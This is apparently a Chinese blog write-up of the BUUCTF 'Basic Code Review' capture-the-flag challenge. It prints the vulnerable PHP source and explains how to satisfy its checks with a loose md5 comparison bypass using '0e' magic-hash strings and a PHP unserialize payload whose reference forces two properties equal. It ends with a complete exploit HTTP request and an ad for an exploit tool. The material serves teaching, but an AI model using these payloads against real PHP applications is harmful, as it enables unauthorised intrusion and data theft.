• BUUCTF 基础CODE REVIEW


    1、说明:

    题目来自于BUUCTF 的基础部分,内容就如题,是一个代码审计。代码如下:

    <?php
    /**
     * Created by PhpStorm.
     * User: jinzhao
     * Date: 2019/10/6
     * Time: 8:04 PM
     */
    
    highlight_file(__FILE__);
    
    class BUU {
       public $correct = "";
       public $input = "";
    
       public function __destruct() {
           try {
               $this->correct = base64_encode(uniqid());
               if($this->correct === $this->input) {
                   echo file_get_contents("/flag");
               }
           } catch (Exception $e) {
           }
       }
    }
    
    if($_GET['pleaseget'] === '1') {
        if($_POST['pleasepost'] === '2') {
            if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
                unserialize($_POST['obj']);
            }
        }
    }
    

    2、代码内容分析

    代码主要可以分为4部分,如下图

    0部分为一个class,而且在第三部分看见了反序列化unserialize($_POST['obj']); 内容,那么就十之八九是反序列化。但是先不用去处理。且在class中可以获得flag的值。

    1部分为一个IF 满足进入的条件为get 传参的值为1

    2部分也是一个IF 满足条件为post 传参的值为2

    3部分也是一个IF 满足条件为 需要两个不同的数。且这两个不同的数值的md5 的却相同 。

    如果 123 条件都满足之后就会执行反序列化,通过POST 传参obj 执行,然后进入区域0

    0区域也有一个IF 满足条件为属性correct与属性input相等。 但是correct 却是利用一个时间进行计算的值的base64 值。

    3、以上每个条件的满足方式

    第一部分

    只需要在url 中传参即可,如下图

    第二部分

    使用burpsuit截断内容,改变传输方式为POST。如下

    改变为POST 之后, URL 中传值的1 也会自动下来, 需要手动调整上去。

    第三部分

    第三部分为md5值得比较。通常可以用数组 做比较绕过和弱类型 比较绕过。
    这里使用弱类型比较绕过。
    原理:PHP 当中使用== 来进行比较的时候,系统会自动处理数据类型, 进行分析是数字比较还是字符比较。 而当一个字符串值是e0开通的时候,那么就会被当中数值。而e0xxxxxx都为0.
    那么就只需要找到两个不同的数值,开头却是以e0开头的即可。也是蛮多的,如下图中所示。

    然后传参md51md52 即可。 这样就可以达到md51md52 不相同。 但是他们的md5值却在php中相等。
    传参方式和post一样, 使用& 符号链接。 内容如下图:

    反序列化与引用处理。

    反序列化的处理方式很简单。 值需要将原class 中的方法去掉,放进php在线运行 中去,序列化一下即可获得可以运行的序列化内容。
    如图:

    但是以上序列化之后的字符串通过post['obj'] 只能达到解析的目的。 解析后内容可以控制。却因为uniqid()函数产生的数是随时变化的,无法预测,所以input 传值多少无法确定。

    这里就是本题的重要考点引用 的反序列化。 我们可以简单的把引用简单的理解为C 语言中的地址指针。
    看如下代码

    $a=&$b;
    $a=1;//此时 输出$b 那么变量b就为1
    $a=123;//此时输出$b 那么变量b就为123
    

    由以上代码可以发现,当变量b为a的引用的时候,b的值随a变化。

    道理我都懂了, 那么只需要$this->input$this->correct 的引用即可。

    $this->input=&$this->correct
    

    构造方式如下图:

    只需要在序列化的时候设置一下即可。

    完整poc如下图

    http报文如下

    POST /?pleaseget=1 HTTP/1.1
    Host: a27be653-d322-4e8f-96a8-07b27c77f559.node3.buuoj.cn
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Length: 103
    Content-Type: application/x-www-form-urlencoded
    
    pleasepost=2&md51=s1885207154a&md52=s155964671a&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
    

    私货

    limanmanExp 5.2版本发布了。 增加了数据库审计插件。 想要的小伙伴可以看B站。
    

    https://www.bilibili.com/video/BV1UK4y1U7G6
    下载地址在简介中。 还附带了一些简单的exp插件。 如果有兴趣自定义开发插件,也可以在看云手册中查看开发方法
    地址https://www.kancloud.cn/qq496672097/limanmanexp/2139143

  • 相关阅读:
    深入理解计算机系统 第六章 存储器层次结构 第二遍
    深入理解计算机系统 第六章 存储器层次结构
    深入理解计算机系统 第八章 异常控制流 Part2 第二遍
    深入理解计算机系统 第八章 异常控制流 part2
    深入理解计算机系统 第八章 异常控制流 Part1 第二遍
    深入理解计算机系统 第八章 异常控制流 part1
    深入理解计算机系统 第三章 程序的机器级表示 Part2 第二遍
    深入理解计算机系统 第三章 程序的机器级表示 part2
    深入理解计算机系统 第三章 程序的机器级表示 Part1 第二遍
    深入理解计算机系统 第三章 程序的机器级表示 part1
  • 原文地址:https://www.cnblogs.com/limanman233/p/14617341.html
Copyright © 2020-2023  润新知